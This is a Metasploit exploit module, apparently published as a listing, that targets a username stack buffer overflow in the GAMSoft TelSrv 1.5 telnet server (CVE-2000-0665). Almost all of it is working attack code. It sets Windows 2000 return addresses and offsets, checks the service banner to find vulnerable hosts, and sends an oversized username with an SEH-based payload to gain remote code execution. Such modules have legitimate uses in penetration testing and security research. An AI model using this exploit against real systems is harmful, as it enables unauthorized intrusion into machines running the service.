GAMSoft TelSrv 1.5 - 'Username' Remote Buffer Overflow (Metasploit)

##
# $Id: gamsoft_telsrv_username.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking
	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
			'Description'	=> %q{
					This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.
				Other versions may also be affected. The service terminates after exploitation,
				so you only get one chance!
			},
			'Author' 	=> [ 'Patrick Webster <patrick[at]aushack.com>' ],
			'Arch'		=> [ ARCH_X86 ],
			'License'       => MSF_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'References'    =>
				[
					[ 'CVE', '2000-0665'],
					[ 'OSVDB', '373'],
					[ 'BID', '1478'],
					[ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
				],
			'Privileged'		=> false,
			'DefaultOptions'	=>
				{
					'EXITFUNC' 	=> 'thread',
				},
			'Payload'        	=>
				{
					'Space'			=> 1000,
					'BadChars' 		=> "\x00\x0a",
					'StackAdjustment' 	=> -3500,
				},
			'Platform' => ['win'],
			'Targets'  =>
				[
					[ 'Windows 2000 Pro SP0/4 English REMOTE',
						{
							'Ret'		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
							'Offset'	=> 1886,
						}
					],

					[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
						{
							'Ret' 		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
							'Offset'	=> 3318,
						}
					],

					[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
						{
							'Ret' 		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
							'Offset' 	=> 3358,
						}
					],
=begin
					[ 'Windows XP Pro SP0/1 English',
						{
							'Ret' 		=> 0x71aa32ad, # pop/pop/ret xp pro en ALL
							'Offset'	=> 2600, # this is made up and absolutely wrong ;-)
						}
					],
=end
				],
			'DisclosureDate' => 'Jul 17 2000',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(23),
			], self.class)
	end

	def check
		connect
		print_status("Attempting to determine if target is vulnerable...")
		select(nil,nil,nil,7)
		banner = sock.get_once(-1,3)

		if (banner =~ /TelSrv 1\.5/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
		connect
		print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
		select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.

		username = rand_text_english(20000, payload_badchars)
		seh = generate_seh_payload(target.ret)
		username[target['Offset'], seh.length] = seh

		print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
		sock.put(username)
		select(nil,nil,nil,0.25)
		print_status('Exploit sent...')
		handler
		disconnect
	end

end